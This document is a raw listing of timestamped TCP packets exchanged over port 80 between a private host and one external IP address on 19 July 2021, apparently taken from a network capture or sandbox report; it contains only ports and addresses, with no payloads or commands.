Jul 19, 2021 18:35:52.657660007 CEST	80	49797	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.657766104 CEST	80	49797	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.657887936 CEST	80	49797	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.657901049 CEST	80	49797	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.662914038 CEST	80	49797	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.662933111 CEST	80	49797	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.662944078 CEST	80	49797	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.662955999 CEST	80	49797	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.662966967 CEST	80	49797	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.666369915 CEST	80	49797	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.666486025 CEST	49797	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:52.666666985 CEST	80	49798	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.677114964 CEST	80	49798	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.677192926 CEST	49798	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:52.790083885 CEST	49798	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:52.790462971 CEST	49797	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:52.792578936 CEST	49799	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:52.872865915 CEST	80	49798	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.873575926 CEST	80	49797	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.873744965 CEST	49798	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:52.874623060 CEST	49797	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:52.875863075 CEST	80	49799	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.876017094 CEST	49799	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:52.887454033 CEST	49799	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:52.889566898 CEST	49800	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:52.971344948 CEST	80	49799	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.971457005 CEST	80	49799	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.972047091 CEST	49799	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:52.973704100 CEST	80	49800	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.973866940 CEST	49800	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:52.974512100 CEST	49800	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:52.974764109 CEST	49800	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:52.975043058 CEST	49800	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:52.975254059 CEST	49800	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.057468891 CEST	80	49800	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.057598114 CEST	80	49800	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.057950020 CEST	80	49800	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.058037996 CEST	49800	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.058259010 CEST	80	49800	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.058327913 CEST	49800	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.059010029 CEST	80	49800	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.059243917 CEST	49800	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.059348106 CEST	80	49800	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.059427023 CEST	49800	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.059459925 CEST	80	49800	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.059752941 CEST	80	49800	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.059830904 CEST	49800	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.060019016 CEST	80	49800	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.060225964 CEST	80	49800	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.060306072 CEST	49800	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.060422897 CEST	80	49800	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.060744047 CEST	80	49800	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.060820103 CEST	49800	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.087054014 CEST	49799	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.088278055 CEST	49801	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.140814066 CEST	80	49800	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.140841961 CEST	80	49800	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.141026974 CEST	49800	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.141041040 CEST	80	49800	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.141134977 CEST	80	49800	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.141226053 CEST	49800	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.141293049 CEST	49800	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.141927004 CEST	80	49800	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.142070055 CEST	49800	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.142142057 CEST	80	49800	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.142215967 CEST	49800	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.142621994 CEST	80	49800	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.142712116 CEST	49800	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.142730951 CEST	80	49800	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.142781973 CEST	49800	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.142884016 CEST	80	49800	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.143363953 CEST	80	49800	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.143413067 CEST	80	49800	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.143486977 CEST	49800	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.143524885 CEST	49800	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.169658899 CEST	80	49799	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.171550035 CEST	49799	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.181865931 CEST	80	49801	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.183304071 CEST	49801	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.183993101 CEST	49801	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.223727942 CEST	80	49800	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.223769903 CEST	80	49800	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.223916054 CEST	49800	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.224024057 CEST	80	49800	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.224040985 CEST	80	49800	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.224786997 CEST	80	49800	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.225187063 CEST	80	49800	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.225275993 CEST	80	49800	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.225440979 CEST	80	49800	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.226062059 CEST	80	49800	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.226160049 CEST	80	49800	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.226270914 CEST	80	49800	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.226421118 CEST	80	49800	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.226439953 CEST	80	49800	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.226454973 CEST	80	49800	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.226510048 CEST	80	49800	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.277650118 CEST	80	49801	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.277682066 CEST	80	49801	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.278256893 CEST	49801	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.306747913 CEST	80	49800	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.306777954 CEST	80	49800	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.306792974 CEST	80	49800	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.317307949 CEST	80	49800	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.317447901 CEST	49800	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.384216070 CEST	49800	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.384885073 CEST	49801	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.386786938 CEST	49803	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.467191935 CEST	80	49800	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.467335939 CEST	49800	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.478929996 CEST	80	49801	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.479062080 CEST	49801	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.483062029 CEST	80	49803	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.483844995 CEST	49803	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.487777948 CEST	49803	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.545361996 CEST	49804	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.585216045 CEST	80	49803	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.595880032 CEST	80	49803	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.596366882 CEST	49803	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.643100023 CEST	80	49804	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.643289089 CEST	49804	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.644011974 CEST	49804	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.644184113 CEST	49804	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.644416094 CEST	49804	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.644582987 CEST	49804	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.711776972 CEST	49803	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.712874889 CEST	49805	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.741301060 CEST	80	49804	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.741471052 CEST	80	49804	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.741666079 CEST	80	49804	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.741884947 CEST	49804	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.742024899 CEST	80	49804	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.742178917 CEST	80	49804	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.742247105 CEST	49804	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.742438078 CEST	80	49804	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.742574930 CEST	49804	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.742768049 CEST	80	49804	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.742898941 CEST	49804	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.743057013 CEST	80	49804	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.743135929 CEST	49804	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.743426085 CEST	80	49804	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.743787050 CEST	80	49804	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.743843079 CEST	49804	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.743870020 CEST	49804	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.743944883 CEST	80	49804	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.744066000 CEST	49804	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.744093895 CEST	80	49804	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.748135090 CEST	49804	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.810173988 CEST	80	49805	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.812167883 CEST	49805	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.812916994 CEST	49805	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.818093061 CEST	80	49803	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.818276882 CEST	49803	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.839199066 CEST	80	49804	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.839225054 CEST	80	49804	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.839260101 CEST	80	49804	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.839273930 CEST	80	49804	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.839355946 CEST	49804	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.839413881 CEST	49804	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.860667944 CEST	80	49804	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.860897064 CEST	49804	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.909817934 CEST	80	49805	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.921087027 CEST	80	49805	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.921360970 CEST	49805	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.937376976 CEST	80	49804	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.937416077 CEST	80	49804	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.937660933 CEST	49804	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:53.960017920 CEST	80	49804	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.960051060 CEST	80	49804	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.960067034 CEST	80	49804	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.960084915 CEST	80	49804	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.960485935 CEST	80	49804	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:53.960608006 CEST	80	49804	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.024965048 CEST	49805	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:54.026856899 CEST	49806	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:54.035192966 CEST	80	49804	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.035222054 CEST	80	49804	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.035255909 CEST	80	49804	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.035439968 CEST	80	49804	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.044181108 CEST	80	49804	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.044578075 CEST	49804	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:54.110383987 CEST	80	49806	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.110588074 CEST	49806	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:54.112133980 CEST	49806	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:54.121862888 CEST	80	49805	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.121963978 CEST	49805	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:54.195190907 CEST	80	49806	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.196744919 CEST	80	49806	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.196878910 CEST	49806	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:54.286875963 CEST	49806	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:54.286905050 CEST	49806	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:54.287183046 CEST	49806	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:54.287348032 CEST	49806	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:54.306097984 CEST	49804	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:54.307877064 CEST	49807	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:54.369671106 CEST	80	49806	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.369765997 CEST	80	49806	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.369936943 CEST	80	49806	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.370076895 CEST	49806	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:54.370285988 CEST	80	49806	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.370305061 CEST	80	49806	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.370382071 CEST	49806	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:54.370445013 CEST	80	49806	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.370507956 CEST	49806	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:54.370589972 CEST	80	49806	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.370692015 CEST	80	49806	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.370778084 CEST	49806	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:54.370801926 CEST	80	49806	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.370858908 CEST	49806	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:54.370930910 CEST	80	49806	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.371690035 CEST	80	49806	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.371710062 CEST	80	49806	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.373136044 CEST	49806	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:54.373176098 CEST	49806	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:54.405214071 CEST	80	49804	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.405881882 CEST	80	49807	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.408370018 CEST	49804	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:54.408452034 CEST	49807	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:54.410927057 CEST	49807	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:54.452644110 CEST	80	49806	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.452666998 CEST	80	49806	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.452919006 CEST	80	49806	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.453124046 CEST	80	49806	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.453196049 CEST	80	49806	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.453478098 CEST	80	49806	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.453493118 CEST	80	49806	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.455802917 CEST	80	49806	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.460488081 CEST	49806	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:54.509334087 CEST	80	49807	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.521279097 CEST	80	49807	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.521466017 CEST	49807	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:54.543947935 CEST	80	49806	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.544104099 CEST	80	49806	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.544229984 CEST	49806	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:54.544256926 CEST	80	49806	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.544380903 CEST	80	49806	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.544542074 CEST	80	49806	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.545578003 CEST	80	49806	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.545598984 CEST	80	49806	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.545742989 CEST	80	49806	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.546070099 CEST	80	49806	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.627814054 CEST	80	49806	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.627845049 CEST	80	49806	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.627856016 CEST	80	49806	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.637396097 CEST	49807	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:54.639102936 CEST	49809	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:54.642472029 CEST	80	49806	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.642631054 CEST	49806	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:54.732762098 CEST	80	49809	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.732999086 CEST	49809	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:54.734044075 CEST	49809	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:54.776611090 CEST	80	49807	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.776829958 CEST	49807	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:54.827274084 CEST	80	49809	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.827312946 CEST	80	49809	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:54.827399015 CEST	49809	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:54.963882923 CEST	49809	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:54.964457035 CEST	49806	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:54.966345072 CEST	49810	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:54.987211943 CEST	49811	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.046968937 CEST	80	49806	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.047061920 CEST	49806	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.061026096 CEST	80	49809	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.061098099 CEST	49809	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.063561916 CEST	80	49810	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.065119028 CEST	49810	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.065557957 CEST	49810	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.066160917 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.066258907 CEST	49811	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.066833019 CEST	49811	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.066934109 CEST	49811	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.067091942 CEST	49811	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.067190886 CEST	49811	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.145592928 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.145663977 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.145745993 CEST	49811	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.145917892 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.146204948 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.146281004 CEST	49811	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.146297932 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.146363974 CEST	49811	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.146433115 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.146481991 CEST	49811	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.146531105 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.146823883 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.146888018 CEST	49811	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.147182941 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.147243023 CEST	49811	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.147465944 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.147521019 CEST	49811	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.148122072 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.148176908 CEST	49811	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.148513079 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.148575068 CEST	49811	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.148660898 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.148766041 CEST	49811	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.162883997 CEST	80	49810	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.163697004 CEST	80	49810	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.163862944 CEST	49810	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.225112915 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.225136995 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.225155115 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.225166082 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.225186110 CEST	49811	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.225295067 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.225326061 CEST	49811	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.225395918 CEST	49811	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.225450993 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.225517035 CEST	49811	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.225913048 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.225975990 CEST	49811	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.226047993 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.227138042 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.227241039 CEST	49811	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.227344036 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.228364944 CEST	49811	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.274679899 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.275592089 CEST	49811	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.335624933 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.335732937 CEST	49811	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.354415894 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.354465008 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.414525986 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.414551020 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.414562941 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.414573908 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.414628983 CEST	80	49811	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:55.414724112 CEST	49811	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.473375082 CEST	49811	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.473468065 CEST	49811	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.473639965 CEST	49811	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.473767996 CEST	49811	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.473937988 CEST	49811	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:55.474064112 CEST	49811	80	192.168.2.6	185.114.247.54
